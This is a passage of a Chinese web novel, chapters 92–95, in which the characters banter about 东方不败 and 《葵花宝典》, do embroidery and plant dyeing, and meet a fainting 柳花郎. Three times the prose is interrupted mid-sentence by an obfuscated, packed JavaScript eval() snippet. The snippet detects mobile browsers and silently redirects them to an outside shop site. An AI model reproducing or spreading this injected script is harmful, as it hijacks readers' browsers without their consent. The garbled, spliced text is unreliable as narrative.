“对啊,贴心的很,这些都是要缝到我们最最贴身穿的……”花铁铁也探出头来,话还没说完,就被平安捂着嘴巴打断了,拉回屏风里,毕竟还有齐王惠王两个男人在,有些话是不能说的。 惠王和齐王本来也不看书了,帮我把小珠子小细钻整齐的摆在几案上,方便我打孔。我打完孔的,他们随手拿了小茶碗过来,帮忙收拾分类。原本只以为是做首饰,忽然听说是她们女子最最贴身之物要用的,便红着脸避嫌不再插手,只拿起书来继续看,喝着茶水掩饰尴尬。 果然,男人是不能碰这些女人用的东西的,我也不想碰了。 我刚才到底是去干什么的?对啊,我不是去要名字去了吗?名字是要到了,但是,好像,似乎是人家不在意,没想要,根本没当成什么重要人物的名字,而随意丢给我的。可是东方不败这个名字,明明就很霸气啊,我真的好想叫啊。 平安的态度也表明这个叫东风不败的人是很厉害的,可为什么……“平安,你给我讲讲东方不败呗。”我一边继 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954542|147774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续打孔一边问道。 平安随口给我们说了一下,说是一个话本上的人物,是日月神教的教主,武功天下第一,但是他偷来的武学秘籍《葵花宝典》,第一句就是欲练此功,必先自宫。众人闻言都愣住了,心道:那他岂不是个公公? 天下第一是个公公?还是偷师来的武功! “身体发肤受之于父母,怎么能因为想要修炼绝世武功,就随意损伤呢?”花铁铁十分不解,也十分不赞同东方不败的做法。“做公公的都是穷人家的孩子,走投无路,实在活不下去了。谁会活得好好的,就为了偷练武功,把自己切了的,真是!” “哎呀,有些人痴迷武力,是会不择手段的,比如杜威那个畜生,就是偷着修习禁术,杜晦爱惜他的身体,阻止他反而遭到记恨深受其害。”我说道:“那这个东方不败,多半不是个好人吧?” 平安道:“嗯,一开始确实不好,地地道道的反派人物,不过后来延伸出好多话本子,把他形象塑造的高大上,英俊帅气,你也知道生的好看总是更容易被人喜欢被人追捧,所以好多人先入为主,就很喜欢他了,觉得他也不是那么坏了。不过我喜欢阳刚正派的,不喜欢摆脂弄粉拈针提线的,所以……” “所以东方不败这个名字我还是不要了吧。”我赶紧道。一个大男人,放着好好的男人不做,喜欢摆脂弄粉拈针提线?又是偷师?!那这一刀,他多半也没怎么纠结!怕是还有些火急火燎吧! 花铁铁不解的问平安道:“这都不是好人,这都不是你喜欢的人,做什么拿他来夸奖我?”花铁铁心道:别是在影射我什么吧?她其实是能感受到平安一开始对她有多不亲近,多不喜欢。 “因为他武功天下第一,你用内力操控小棒槌的样子,的的确确确确实实很厉害嘛。”平安对花铁铁很崇拜的样子,但我可以感受到平安有些不好意思。 “长安,听见没?我在你妹妹心里天下第一哦?”花铁铁朗声道,生怕屏风外的我听不见似的,她的关注点还是这么跑偏。我只能呵呵。 齐王像个好奇宝宝问道:“那关于东方不败的书……”惠王也很感兴趣的样子。 我自然知道平安学识的内情,为了省却平安麻烦,赶紧打断齐王,道:“哦,大乱战以后天下典籍零散失落,民间好多遗失的残本,街边的小书局小书铺小书摊小书贩很多的,平安总是租借来看。 有时候是跟一些走货郎借的书,有上本没下本的,零零散散,就是民间闲散人打发时间的。货郎走街串巷的,可遇不可求。你想看也没办法给你找。 再说平安喜欢看的这些书,殿下更不好花心思看,都是些女儿家情情爱爱的,惯喜欢把男人写得伟岸,让她们痴迷,你看就算一个不爱惜自己身体的人,都取个霸气名字写成天下第一,好在我妹妹清醒。”我这一番话把齐王搪塞过去。 92. 妙绝 “对啊,哪有武功如此有违天道人伦,一上来就要自残身体,给自己来个宫刑的,我就不信天下有什么功夫练了,就多余那二两肉,难道达到巅峰的时候,会无法控制无限涨大,最终爆蛋而亡?万不得已必须切掉? 那这功夫行气储气路子不对,本身就带有严重缺陷,伤天理的不练也罢,幸好是话本子上的,这要是真的,那长安你说这《葵花宝典》我练还是不……你怎么进来了,长安?我说话声很大的,你在外面又不是听不见!赶紧出去钻你的孔,打你的洞去吧。” 花铁铁一边说着一边摆弄棒槌编着蕾丝,说到练还是不练的时候,手下动作虽然没停,但俨然一副踌躇思考,果真纠结起来的样子,猛地发现我不知道什么时候进来屏风里面,悄没声息的站在她身边,就撵我出去。 我是要来捂她嘴的,但是她已经该说的不该说的一股脑全说了,我也没有阻止的必要了,于是就干干站在那里由着她把话说完。我回怼花铁铁:“你才打洞!”你才是老鼠!好你个花铁铁,三句两句忘不了暗讽我。 平安在一边红着脸说道,这武功确实有伤天和,作者大概就是想讽刺这一点,所以才这么创作人物,设置情节的,这样才能引起像铁铁这样的正直仗义且有识之士的共鸣嘛。 我只道毕竟是话本子嘛总是要写的光怪陆离,新奇引人,才有人看,不然靠写小说养家糊口的书生怎么活呢,通篇罗里吧嗦大道理,又没有古贤圣人鞭辟入里,不能拿来消遣,又不能用作学业,没人愿意花钱买去看,他们岂不是要饿死?! 除非是家里不差钱,就愿意著书论著,留下只字片语,此生也算在世上走了一遭,不然谁能证明他来过? 常人想要雁过留痕,最简单的就是留下文字了!就像大乱战以后这些典籍虽然失落零散好些只剩残卷,却也依旧流传于世,不管怎样,这些人的思想仍然活着,思想在灵魂就在,不像大多数人那样随着肉~体一同寂灭。 平安闻言点点头,眼中闪烁光芒,说她有些想动笔写点东西的冲动,但是又担心文笔不好。 我自然万分鼓励她,趁着年轻,趁着有这份儿激情,想干什么就干什么。我说,你的想法只是要写点东西,又不是梦想成为文坛大家之类的人物,那就不要有负担啊,别自卑别胆怯嘛,别总是谨小慎微怕出错,别老实活在别人的观点里,用别人的眼光把自己困住,只要坚强的活在自己的信念里,人生就没什么是错的,只要去勇敢地做,让事情按照美好的心愿去发生,又不是立志做罪大恶极的事儿,就算没有成功,或者没做出成绩,顶多是自娱自乐,怎么会错呢? 那东方不败在咱们的观点里是错的,可退一万步讲,在他自己的观点里,他做的选择就是当时当地对他而言最正确最合适的,咱们的评说,对他来说算什么?咱们说一千道一万,他也是敢为人先,敢为人所不能的天下第一,对吧!而且你只是写点文字,又不是要伤害自己,你怕什么?无非就是尝试着走了一段不熟悉的路而已。可谁又能保证人生每一条路都是自己熟悉的呢?事实上咱们都是第一次做人,每一条人生路都是陌生的,崭新的! 不妨大胆走走看嘛,就算路的尽头是悬崖,咱们转头回来就是,又没人逼着你跳。就算路途遥远崎岖坎坷,一眼望不到头,就算满身疲惫,那咱们还看了一路的风景呢,对吧?也别说浪费精力浪费时间,咱们的时间精力就是用来浪费的用来消遣的,不然留着干什么?躺着睡觉不更是浪费吗? 平安听了我的话呵呵笑着点点头,信心百倍的样子说我最是会安慰开解人,是人间的解语花,却又表示说即便是小试牛刀写点东西,也要有点墨水,她一时没什么头绪,不知道从何而起,感觉内心匮乏,感觉还要学习,还要从长计议一番。 我说这没什么好从长计议的,好多事儿都是三从长两计议的把兴头消耗没了,兴头一旦消磨殆尽,事儿往往就搁浅下了。兴头很重要,很多事儿都要趁兴头正浓时抓紧时间干。我称赞她本就得天独厚,建议她可以先从收集整理那些所谓的遗失散落的典籍开始。又特别跟平安强调说,做事情常常不是计议好了再干,而是一边干一边计议一边学习一边丰富自身,让她去大胆干,而且要大刀阔斧的干,干就是计议,干就是学习,干就自然而然丰富自身。 平安备受鼓舞,跃跃欲试。忽然很是好奇地问我为什么咱们去收复河西走廊,不赶紧趁兴头去干?反而顾虑那么多,非要从长计议,多番筹备? 我呵呵一笑道:“傻妹妹,人世间,大事小情可不一样,收复河西那是天之大任,不是一时兴头可以论就的,有些事儿没有兴头就干不成了,有些事儿本就不关乎兴头,有没有兴头都得去干,有些事可以从做中学,从做中得经验取教训换成长,而有些事由不得半点差池,失之毫厘别说谬以千里,连命都搭进去了。收复河西这种大任便要遵循‘凡事预则立不预则废’的原则,得有谋划。” 平安认真回味我的话,点点头,非常认可。“看来还是要多读书,不读书不知理,读书少一知半解的又难免混乱,忽然有些后悔没有答应荣玥公主的邀请呢,白白浪费了去宫里读书的机会,唉,真该厚着脸皮,别管什么身份地位,也别管是不是要嫁人了,能多读一天的书总归是多有一天的助益。”平安为错失机会而满脸惋惜。 我将她的话深深记在心里,眼睛转了转,安排。 花铁铁一点也不关心我们讨论什么,也不停下手中的动作,她还真是擅长编织蕾丝这项女红,只兴奋的问我道:“哎长安,你说要真有《葵花宝典》这种武功秘籍,咱们练不?”花铁铁还在关心东方不败和《葵花宝典》的事,她从小就有这种能力,总能轻而易举屏蔽掉她不感兴趣的话题。我有时候还真是羡慕她。 “不练!”我果断拒绝,十分干脆。 “可是咱们不练,别人练了,那天下第一不就是人家的了吗?”花铁铁手下顿了顿,一副很苦恼的样子。 那又如何,那就跟咱们一起做姐妹呗,总归不是个男人,就算是个超级大坏蛋,也没办法欺负咱们。低声说完我呵呵笑着抬步回去继续打孔。 花铁铁觉得性别上她就被排斥在修练《葵花宝典》的行列之外了,心里不免不服。忽的她眼睛一亮道:“哎,我又没那二两肉,没有那可不就少挨一刀嘛?咱完全可以直接练啊,这功夫可别是一开始就给女人……” 我都已经出屏风了,听她又大放厥词,赶紧快步回来及时捂住她的嘴,原以为已经没有什么不能说得了,没想到花铁铁语不惊人死不休,一语还比一语惊……我想她必定还有更加不能上台面的话,齐王惠王该去洗耳朵了,干脆别叫她张嘴了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993300|147774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “挨不挨那一刀,我都不会练,我身边的也都不许练,旁人我不管,我也管不着,谁想练谁练,谁爱练谁练,我要是得了《葵花宝典》,就把它公诸于天下!”我道:“顺道还要赚点卖秘籍的银子打打牙祭。” “天下第一的武功秘籍,你不练也就罢了,你销毁啊,你珍藏啊,你卖了干啥?”花铁铁把我捂在她嘴巴上的手扒拉开,不赞同道:“卖了?你还真想得出来,那可不是人人都要修练成天下第一了?太疯狂了吧!你不怕呀?”说完又把我的手捂回去。我却拿开了。 “瞧你那没见过世面的样子,这有什么好疯狂的,都是天下第一就没有天下第一!有什么好怕的?到时候,他们自己争排位还来不及,哪有功夫顾得上咱们?”我无所谓的样子道。 平安忽然眼睛发着光,开悟的样子,双手一拍,兴奋道:“哇,破局了破局了,原来这样就破局了。我原来一直想不明白的点,长安你给破局了。这样大家人手一份儿《葵花宝典》,练的话虽然是天下第一,但是断子绝孙,不被标榜也就罢了,少不得还会遭人非议嘲笑;抵住诱惑,不练的话虽然子孙绵延,但是无缘天下第一,在江湖上立足排名永远难以突破,说不定反而还会被人说嘴诟病没有大志和魄力,没有胆量和决心,舍不得凡夫俗欲。 长安你这主意真是绝了,人手一本《葵花宝典》,当秘籍不再是秘籍,成为街摊货,其价值就贬低到极点,但秘籍毕竟是秘籍,其武学威力依旧是巅峰状态,练不练都将成为大家苦恼的问题,如此《葵花宝典》成了武林第一烫手山芋!拿又拿不住,扔又舍不得扔……呵呵,千古第一阳谋也就这样了吧!” 花铁铁蹙着眉头道:“可那样,那江湖不成江湖,武林不成武林,不就乱套了嘛。” 江湖不成江湖,武林不成武林?!“哎,平安你好棒啊,你这么一分析,我倒是想到一个重整江湖肃清武林的办法。”我灵光闪现,对花铁铁道:“乱套就乱套呗,说得好像江湖是咱们给整乱套了似的。现在江湖还不够乱套吗?老一辈江湖人或寂灭或隐世,新一代灵魂人物也都凋零,盟主杜晦都死了,咱俩也退出江湖,江湖式微,世风日下,混账到连我家太子都敢做成任务目标,这不已经乱套了吗,这次他们任务失败,咱们也顺手清理了不少老鼠屎,接下来应该不会再出什么乱子,但我想……”我趴在花铁铁耳边说了一下自己的想法。平安也凑上来听。 花铁铁十分赞同的点点头,道:“真要到那一天,咱们就那么干。” 但我还是重新给她梳理明确了一下观念:是江湖乱了我们才出手,不是我们出手了江湖才乱了。这一点很重要,人要认清自己行为的基本逻辑,尤其是大事儿,不然总觉得师出无名的,自己心中有愧,下手未免拖泥带水不利落。到时候就会误事儿。好多事情功亏一篑,找不到根本原因,问题就是出在了思想错误上。思想有歧,是要命的。 “咱们先创造一套《葵花宝典》出来有备无患,希望江湖代有新人,豪杰辈出,引领世风,重振武林,这一套秘籍永无用武之地。” 我说完,看向窗外,我对江湖还是很有信心的,但是也得预留好后手,这是对杜晦的交代。他的理想他的梦,不可能再亲自去实现了,可是江湖不能让他的在天之灵再失望厌恶,那样,武林就没有必要存在了…… 93. 真香 平安小声道:“可是长安,你真的能创造出《葵花宝典》嘛?” 武学秘籍那是想创作就创作的吗?自然是要下一番苦心,还不一定能成功的。尽人事听天命呗,万一天命不许,我们就听它的。不过,听天命之前,我们必定尽人事…… “我不敢打包票,但是知道答案,再往前反推着出题,总是简单些,就算不行,那秘籍第一句写上‘若练此功,必先自宫’也够他们喝一壶的了。”我道。 “对啊,”花铁铁道:“加一点内力下行的心法口诀,就算有人壮着胆子硬练,内力老往那儿窜,也由不得他不信。” 花铁铁不愧是个武学奇才,我很赞同的点点头。花铁铁得到我的赞许,挺了挺腰板,很自豪的样子。 “妙绝,妙绝,还得是你们。”平安夸赞道:“哎对了,你们也可以修改秘籍,我曾经还读过一篇文章,里面有个秘籍叫《九阴真经》,有个坏人想要修练,可是男主把秘籍记在脑子里了,坏人拿他心爱之人性命要挟让他写出来,于是男主就把上改成下,左改成右,外里调换,反正就是让那坏人倒着练,结果那人强练给练成疯子了……” 我们相视哈哈大笑。我和花铁铁不经称赞道:“妙啊,这写文章的是神人啊,有机会一定要拜读一下神作。这位神人如何称呼啊?” “此神人名曰金庸,《葵花宝典》也出自他手,等我整理一下他的著作,拿给你们看。”平安颇有些小骄傲小炫耀。 齐王惠王在屏风外也弱弱的提出要求,希望到时候能一睹为快。 天外有天人外有人,后来,这位金庸大侠把我和花铁铁都“收服”了,我和铁铁新出的很多武学招式都引用借鉴了金庸大侠的小说。我曾几度渴望梦回之时与之神交而难偿夙愿,为不能与之同一时代同一时空而深深惋惜…… 花铁铁曾经提议将金庸大侠笔下的故事广为流传于世间,以供世人拜读敬仰,还能大赚一笔。 平安不同意,平安私下和我解释警示说,她不好昧着良心赚这笔钱,而且虽然我们这个世界和那个世界不同轨,但也不能确定后世会不会真的出现一个金庸大侠,如果真的有这么一个人问世,而我们却提前透支他的创作,岂不是造孽? 对啊,那样非但不是尊敬仰慕这位大侠,反而是伤害毁灭!于是我就找托词和花铁铁解释说,金庸大侠的著作,万万不可弄得天下皆知,不然咱们肃清江湖的计划就要人尽皆知了。 花铁铁觉得十分有道理,之后的日子里金庸大侠的著作,属她捂的严实,还实时监督,惠王和齐王看完了平安整理的手写本,她都是第一时间去回收的。 堂邑夫好奇跟我们打听什么秘密齐王和惠王可以参与,他不能参与?结果给花铁铁一把掌扇得再也不敢吱声了。不过最后还是给他知道了内情,拿给他看了。 不多时花铁铁的蕾丝就因为线用完了而不得不结束,平安大赞花铁铁超额完成任务,于是女孩子们开始下一个环节,穿针引线,缝合抹胸裁片,有说有笑,闲散惬意的日子真是美好极了。我总怀念那一段恬静如水,淡若清风般的时光。 因为平安和花铁铁并不介意惠王和齐王碰那些珠子,所以我请他们搭把手,他们也都是正人君子,心无杂念,只当是给自家妹妹帮忙,不再避嫌,欣然答应。一些细碎珠子个头儿实在太小,平安说留着贴指甲用。于是我们这边分工合作,打孔的打孔,筛检的筛检,整理的整理,动作麻利的很,风快就完成了所有工作。 我以为抹胸上的那些碎珠装饰,是一粒儿一粒儿缝上去的,或者穿成串儿再按照蕾丝花边的纹路丁上去。却不料是什么法式刺绣完了,再罩上去的。法式刺绣的针,样式特别,是柳花郎找宫里的匠人特制的,送来的时候我见过,我当时还问是干什么的,平安神神秘秘的卖关子不和我说。 想起柳花郎,我不禁看了看花铁铁。平安看了看我,也颇有深意的看了看花铁铁,想必她自然备好了说辞,不过花铁铁是个大咧咧,没注意到平安手上那种特别的钩针,即便注意到了,以她的性子怕也想不到要仔细问一问。惠王齐王更不好对女儿家的东西详细打听,如此便也相安无事。 屏风里面有些挤,平安就搬到外面,对着小轩窗架好绣架,绷好薄纱。法式刺绣极具观赏性,我和齐王惠王饶有兴趣,看得入神。花铁铁帮翡翠把做抹胸要用的竹撑打理好,就过来从后面抱着我,夸赞一番平安,然后又不自觉深深嗅了嗅我的脖颈子,道:“长安你真香!” 花铁铁已经不止一次说我香了,实在有些事出无常,我不禁想到一件事儿,就警觉起来,道:“铁铁,你是不是有事儿瞒着我?” 花铁铁从我的颈子里抬起头,直愣愣的道:“有事儿瞒着你?我瞒着你的事儿多了去了,你都这样问了,你直接挑明了,我听听看是哪件事儿瞒着你了。” “你……”我憋了一下,却觉得花铁铁说的十分有道理,便道:“之前我在上林苑灵鲲池遇到一条大鱼,修炼成精了那种,都有内丹了。你先别激动。” 我按捺住兴奋不已的花铁铁,接着道:“按理说都修炼到那个程度了,未免出岔子,坏修为,一般都是遁世隐匿,是不会轻易招惹人的。可那鱼竟贸然现身与我纠缠,我师兄说它是因为我是内力深厚的童儿身对精怪修炼有助益,忍不住想吃我,情形与你一般无二,我就想问问你,你是不是也修仙了,所以把我也当成补药了,老是好香啊好香啊的,总忍不住想吃我?” “滚,去你的吧,感情你把我当成妖精了?”花铁铁把我推一边儿去,然后又软下语气道:“倒也真学了一些,不过啥也称不上,皮毛都不是,入门都没找到门呢还。”花铁铁这话是真的,瞧她那臊眉耷眼的样子,我确信她是真没找到门路。 我眼睛转了转,很是乖巧的给花铁铁倒了杯茶,不经意的样子,问道:“哎对了,你那个情郎呢,我叫堂邑夫送去给你的药好使吧,他瞎 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“住口,那算是个什么宝贝?就一破烂儿。”花铁铁满脸嫌弃的样子,道:“以后不许提,我都反胃。” “不是个宝贝吗?”平安忍不住问? “以前勉强算,现在我有你哥了。”花铁铁说着走回来把我一把抱在怀里,道:“这才是我的心肝宝贝儿,嗯么嗯么!”然后狠狠地亲了我两口。 以前她想修仙,所以柳花郎对她来说还有用,如今她看样子是不打算修行了,所以柳花郎就成破烂了。柳花郎要是知道了得做何感想?啊哈哈哈……“女人心,海底针,一会儿一个说法儿,一会儿一个样儿的,我都不知道你哪句是真的了。”我推了推她。 花铁铁并不松开我,把我抱在怀里耳鬓厮磨,像是抱着爱宠猫咪一样喜欢的不行,沉迷其中难以自拔的样子,嘴硬道:“我哪句都是真的。” “呐,这会儿把我宝贝的不行,怕是有一天我也变成了不许提的破烂儿,到时候别人提一嘴你也犯恶心怎么办?”我撅着嘴巴,不给花铁铁否认的机会狡辩,手指抵在她樱桃小口上,快言快语道:“女人的嘴骗人的鬼,你的话我不要信,你也不要再说话,你说什么我都不要听,我都不要信,你只这会儿好好喜欢我就得了,以后我就算是破烂儿了,凭着这会儿你这么爱我,也值了。” 说完我傲娇的扬了扬头,抬手轻轻点了点花铁铁的额头,道:“好好爱我吧。”一副给你机会你要好好珍惜的样子。齐王惠王和平安看我这样子,忍俊不禁。 花铁铁哈哈大笑,抱着我又亲又抚,不经意看向一边儿软筐里平安的两只貂儿,道:“啧,你说这只雄貂儿还怪通人性的,老婆怀孕了,它居然寸步不离的伺候着,一会儿叼食一会儿喂水,还不停地爱抚老婆舔舐身体,啧啧,比人还会伺候,比男人强一百倍,我都羡慕这雌貂了。” 94. 破烂 这些日子,雌雪貂的肚子越发鼓起来了,肚子里的小貂儿时不时的就会动,每次动的时候雌貂儿都嘤嘤,引得原本就尽心尽责的雄貂儿更加殷勤热切。 有责任心有担当又特别知冷知热体贴入微宠老婆爱老婆疼老婆的雄性,即便不是个人,也总是更得女人青睐。 平安自然欢喜有人这么夸赞她的爱宠,说这雌貂有孕以来百般不适,这雄貂日夜守护相伴相随,不离不弃精心伺候,倒果真比世间男子还强上不少呢。 花铁铁一听,对这雄貂更是喜欢,想要的上前亲近。平安见她想要去探看,便及时阻止,说雌貂有孕防备心重,雄貂也爱妻护妻的紧,雌貂稍微紧张,雄貂就十分具有攻击性,别说生人,就是柳花……平安一个“花”字卡在嗓子眼儿里,忙改口说上次邻家哥哥只是无意间路过软筐,惊了雌貂,就被雄貂突袭了一下。 花铁铁于是竟然对雄貂更升起了几分敬佩之意,惋惜自己不是雌貂。 我见花铁铁简直被这“哥们儿”迷住了,舒服的倚在她怀里,“啧”了一声,悠闲地道:“女大不中留,哪个少女不怀春嘢,到了该嫁人的年纪,便是个雄貂都看着顺眼,连人都不想做了。可惜,晚啦,你即便这会儿变成雌貂,人家也是有妇之夫,你也干瞪眼儿。不过,谁叫你是我的挚友呢,你想干的事我必须帮你干成,回头我给你相看一头公猪吧,那玩意儿勇猛起来,也挺爷们儿的!不过论忠诚,还得是狗最忠诚,但是狗……” “你这个破烂儿……”花铁铁不再给我机会胡说八道,一个反掌把没做一点儿防备的我推了个狗吃屎。 我擦,“这么快就成破烂了?!”我脸朝下划出去老远才停下,咕噜一下从地上爬起来,简直气炸!恼她下手没轻没重。她却说自己连内力都没用,谁叫我跟个弱鸡似得,轻轻一推就飞出去了。我嘲笑她壮硕如牛,得给她配许多只狼狗! 我这话就是惹事生非找打的,于是我和花铁铁又一番打闹,只还没打几下,就撞撒了装细碎珠子的托盘,连带平安的绣架也撞偏了,平安一下就恼了,当着惠王和齐王的面儿就发落了我,花铁铁也老老实实的跟着我一起听候发落。 花铁铁在私底下悄悄低声和我说平安生起气来,真的好凶好吓人。我让她滚,说我妹妹最美最好最温柔最可爱…… 花铁铁见不得我那副舔妹狗的样子,嘴角不停地抽搐,说了一句她还是赶紧滚吧,就滚回屏风里面去了。 我被赶出了丛芳园,在门口罚了一会儿站,就蹲在石阶下玩蚂蚁。平安不让我闲着,给我派了新差事。 早上平安和翡翠来的时候还从家里拿了不少素色布匹,说是要做草木染。她们在家里也做,只是草木染用水比较多,她们是未出阁又面容姣好的姑娘家家,不方便到河边湖边去系着襻膊,挽着袖子掖着裤脚做事情,只在家中后院打井水,浸泡漂洗晾晒布匹。对男子来说一桶一桶的汲水也十分劳累,何况是两个柔弱的女孩子。平安家的后院也不大,大块的布匹做起来十分不方便,先前便只做了一些小块儿的,淡然素雅,好看的紧。 平安想着正好要在汤泉宫小住,顺便在丛芳园做草木染床单被罩床帏啥的,总归不能浪费机会,这汤泉水浸漂出来的草木染,定是极好的。 花铁铁在内室测量抹胸尺寸,配合翡翠调整抹胸裁片的大小。我正好带着那两个亲王回避一下,出去走走,多晒晒太阳对身体很有益处的。于是提着小篮子,到花园里四处收集草木叶子…… 我们回来的时候,韩燕熙身着常服,系着襻膊,正用杵臼按着平安的要求将固色用的明矾块儿捣碎。见我们回来,便给惠王齐王行礼问安,然后接着干活儿,十分仔细又卖力,一改往日泼皮。 韩燕熙,张子文,豆如意,这些年长一点的太子伴读学而优则仕,韩燕熙任为中大夫加官太子议郎,张子文任为羽林郎加官中郎,豆如意任为太子秘书郎加官侍郎。 他们三个有了正式的官身以后,便不是东宫府官太子伴读了,虽然太子去学宫上学,他们三个还是会时常随侍左右,但是轮值休沐和之前有很大不同,也要按照官秩和加官等级放领俸禄。 今儿是韩燕熙休沐,他不必跟着太子去送行出京赴国的一母胞弟德王靖王,他又向来不愿意回家去拘着,只依旧照例像从前做伴读一样在太子处洗漱沐浴换装休整,说是闲着没事,便特意来找齐王讨教棋艺,其实就是来找平安的。男人嘛,对自己心爱的人,总是有空闲,何况是他心心念念已久的休沐,这一日总是要和平安一处的。 他倒是机灵,按理说他现在是官身,休沐期间,倘若不在太子身前伺候,是不能单独进入宫殿的,虽然汤泉宫是皇家别苑,但到底是帝王行宫。我撇撇嘴念叨他还真是大胆,不在太子偏殿好好呆着,竟找出这么一个牵强的由头,就敢在宫中随意行走逗留。许是因此眼下他才一改常态,竟安分守己,毫无造次。 平安在轩窗里一边绣着法式刺绣,一边指挥韩燕熙干活,让他找来一个洗浴用的大木桶,再提些热水来,把捣碎的明矾化开。 这些原本可以让宫人干的,可是韩燕熙脑子抽风了,觉得要染床单被罩这些平安贴身所用之物,不可假人之手,于是全权包揽。连热水都是他在丛芳园西墙根下临时起灶支锅自己烧的。怪不得老远我们就闻见宫中罕见的炊烟味儿。 这是不是也太逾矩了,宫墙根儿可以支灶燊火吗?我不禁疑问,惠王语塞,齐王想了想问一边的旦公公,旦公公说没有那条宫规说不可以,按照懒懒大王霸的规矩就是:没说不可以那就是可以。 那……就是可以!不过我原话好像是:法无禁止皆可为。 我见韩燕熙这般认真忙碌,不免啧啧称奇,一番揶揄,韩燕熙却不理我,不肯生半点事端,我于是更加惊奇,连连问道是不是真的转了性,韩燕熙终究不肯理我。我只道是他如今是官身,和从前不一样了,可是官人谁会干这种事情呢?这么多宫人不用,事事亲为? 平安把我叫过去一番细说,我才了然感叹他对我妹妹平安真是专情的很,呵呵笑道,幸亏活儿不多,还守着个大汤泉池子,用水也不费事儿,不然他岂不是光提水就要累死。 平安小声道:“唉,不会带团队,就得干到死。他愿意干就干吧,我正好缺苦力。”韩燕熙自打升官以后,每逢休沐便要去平安那里小坐,多有帮衬照顾,平安自是多有推拒,敬而远之,对他依旧防备,但时间长了倒也有所改观,态度不似从前那样刚硬果决。 韩燕熙熟练地把我们采来的草木叶子放进明矾水里浸泡清洗,然后开始用竹竿子搭建晾布架。这些竹子倒是他叫宫人们现砍的,还亲自教人如何除叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024339|147774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砍枝打磨光滑,以防刮坏布匹。一边干着一边时不时看向平安,每当平安不经意抬头与他对视,他就忍不住咧嘴笑得像花儿一样。平安自然蹙眉冷眼瞪他,他却仿佛更加开心似得,呵呵笑起来。 “那别是个傻子吧?可惜了可惜了。”花铁铁趴在小轩窗台上,托着脸看着忙前忙后忙上忙下的韩燕熙,不禁疑惑加惋惜。 这人生得倒是好看极了,花铁铁自认为阅人无数,可是长得这么好看的郎君实在少有,韩燕熙这样的贵公子论身段论样貌都是数一数二顶顶好的了,刺杀行动的时候,她就注意到这个人了,盯着看了好几眼。可之前看着是个正常人,怎么一夜之间行为举止,神色情绪就都不太精细的样子了呢? 难道是昨儿个看走眼了?可她花铁铁看人向来准!花铁铁不禁又啧了啧。 翡翠以为问得是她,便回答道:“不是,那位官人之前可是学宫顶好的学子,文章武艺都好得不得了……就是,就是对着咱们平安,就不太……”翡翠还没想好合适的词,便被我的惊叫声打断。 “哎!!!他怎么在这儿……”我和齐王惠王不耽误韩燕熙干活,进殿里来喝茶,却见柳花郎昏睡在一边软榻上,不由得惊讶道:“他怎么在这儿,他怎么晕了?!”不禁看向花铁铁。 花铁铁从内室出来,一副看你怎么和我交代的样子。我不卑不亢的扬了扬头,和惠王齐王一同坐在茶案前,等她回答。 平安看了看我们两个人,放下手里的活儿道:“你都不知道,刚才花郎一进门儿,撞上花铁铁吓成什么样了,都吓抽抽了,翻着白眼儿倒吸着凉气,一下子就憋得背过气晕过去了。直挺挺的重重的摔下去的,天可怜见儿的……”平安满脸心疼的样子。 柳花郎和我们相遇相交的前事后情,平安已经和花铁铁说得明明白白的了。花铁铁那副质问我的样子,也无非就是责怪我,有话不直说,非要反过来责问她是不是有事儿瞒着。这会儿也不理我,多半又是怪罪我嫌弃我心眼子多计较多。 我和花铁铁较着暗劲儿,平安不好插嘴说项,便继续低头忙着做事儿。 梁王郡主的及笄礼在即,柳花郎授命担任礼乐协律郎,昨个给太子亲王压惊的临时小宴,席间歌舞伴乐便是他带人来汤泉宫演奏的。柳花郎有宫中行走的腰牌,出入汤泉宫丛芳园,倒比韩燕熙名正言顺的多。 柳花郎是来给我们展示他的新发明的——活字印刷。 因为他的乐队演唱的歌大多是新式歌曲,无论歌词韵律还是演唱方式都与从前不同。好多听众反应歌词听不太清,记不太住,有些实在太喜欢太痴迷这些歌曲,便重金请购歌词曲目。谁知此风一开,要的人太多,柳花郎那边誊抄歌词的人力毕竟有限,一时间顾不上,便被人钻了空子,借机招摇撞骗,以次充好,大肆圈钱,差点坏了柳花郎的金字招牌。 于是柳花郎打算整顿一番,便想了个新奇玩意儿,说这两天就完成了,今儿大概是听说我们同在汤泉宫,忙完了手头上的差事,便兴致冲冲来给我们展示,岂料遇上冤家死对头!如梦魇一般,恐惧至极,便昏死过去。 花铁铁也哭笑不得,昨儿个之前柳花郎还是她“遗失”在外,牵肠挂肚不肯与人言说秘密私藏的宝贝,今儿个刚认定那是个“破烂儿”,他就自己送上门儿来了。真是!找谁说理去?! 95. 活字 